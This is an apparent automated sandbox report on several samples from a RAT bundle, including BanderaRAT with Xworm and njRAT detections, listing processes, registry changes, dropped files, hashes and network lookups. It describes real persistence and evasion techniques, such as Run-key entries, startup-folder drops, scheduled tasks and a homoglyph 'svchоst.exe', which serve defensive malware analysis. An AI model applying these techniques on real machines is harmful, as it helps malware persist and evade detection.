"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\PORTS.dat"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 62d33957e426eb6cdd4de444e470ead7
SHA1 161a57b0bfceaf0d89fbbc6d64fa9aecccfc978b
SHA256 14156813ccac4508c60e6f58a2603afef00d0032df9baf1adc5bb79caedfb5c5
SHA512 6bf4bfeedff5c196b1967dd7d2502fd51f620142d08013c1c7e9ccb0dcd797e27fcb773da55973d51312fd63649498d9d6d2c63bae9378c294c505086062cb05

Analysis: behavioral27

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:47

Platform

win7-20240221-en

Max time kernel

180s

Max time network

127s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DET.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000_CLASSES\.pdb\ = "pdb_auto_file" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000_CLASSES\pdb_auto_file\shell C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000_CLASSES\pdb_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\"" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000_CLASSES\pdb_auto_file\shell\Read C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000_CLASSES\pdb_auto_file\shell\Read\command C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000_CLASSES\pdb_auto_file C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000_CLASSES\pdb_auto_file\ C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000_CLASSES\.pdb C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DET.pdb

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DET.pdb

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DET.pdb"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 83c5e19f76bb502da9b49bb912d5c389
SHA1 0d7338f0db39f05eafbfe98879e66c785fe97160
SHA256 9446329d0fd73e89ce2bde2b25736bba8f97b6ec6d65bc4f03a8386084066c0f
SHA512 c55e4b815a60f2122242db5041ee7b7640cc588e9411b336536ae65683731cb3521c09d708717f6fa04c881afdfb3d3d792181fa6ec5a9760cfa91423b0dbfdf

Analysis: behavioral24

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:48

Platform

win10v2004-20240226-en

Max time kernel

213s

Max time network

241s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A
Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DDOS.pdb

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 22.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 187.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 169.117.168.52.in-addr.arpa udp
US 8.8.8.8:53 194.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 173.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral25

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240221-en

Max time kernel

120s

Max time network

125s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DEC.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\.pdb C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\.pdb\ = "pdb_auto_file" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\pdb_auto_file\shell\Read C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\pdb_auto_file\shell C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\pdb_auto_file C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\pdb_auto_file\ C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\pdb_auto_file\shell\Read\command C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000_CLASSES\pdb_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\"" C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DEC.pdb

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DEC.pdb

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DEC.pdb"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 9818b99d19c95e2d38de6822e7ac72fc
SHA1 49277a9b0d4d4619b8cf7c4df922133f6ed9b9bd
SHA256 bb3d242847d531a05751335acf730b1bfa498a21aec33b378eccd4287e1c30dd
SHA512 5dd0a679ceaec964f9741550cf3a9e28afe6b6fb83a7b9ec72174055b7965d66eba8d4502c30abf3f93c28229b71dd90919031b3d2abe0c71cad20c08091082b

Analysis: behavioral9

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240220-en

Max time kernel

119s

Max time network

124s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\MetroFramework.Fonts.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\MetroFramework.Fonts.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240221-en

Max time kernel

150s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

njRAT/Bladabindi

trojan njrat

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.url C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A
N/A N/A C:\ProgramData\XClient.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Built.exe N/A
N/A N/A C:\ProgramData\Fluxus V7.exe N/A
N/A N/A C:\ProgramData\Built.exe N/A
N/A N/A N/A N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\svchost\$77svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\ProgramData\svchоst.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe N/A
N/A N/A C:\ProgramData\Built.exe N/A
N/A N/A C:\ProgramData\Built.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchоst = "C:\\ProgramData\\svchоst.exe" C:\ProgramData\XClient.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows.exe = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Windows.exe\" .." C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows.exe = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Windows.exe\" .." C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\svchost\\$77svchost.exe\"" C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\ProgramData\Fluxus V7.exe

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\ProgramData\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\Cheat.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\Fluxus V7.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\svchоst.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\svchоst.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
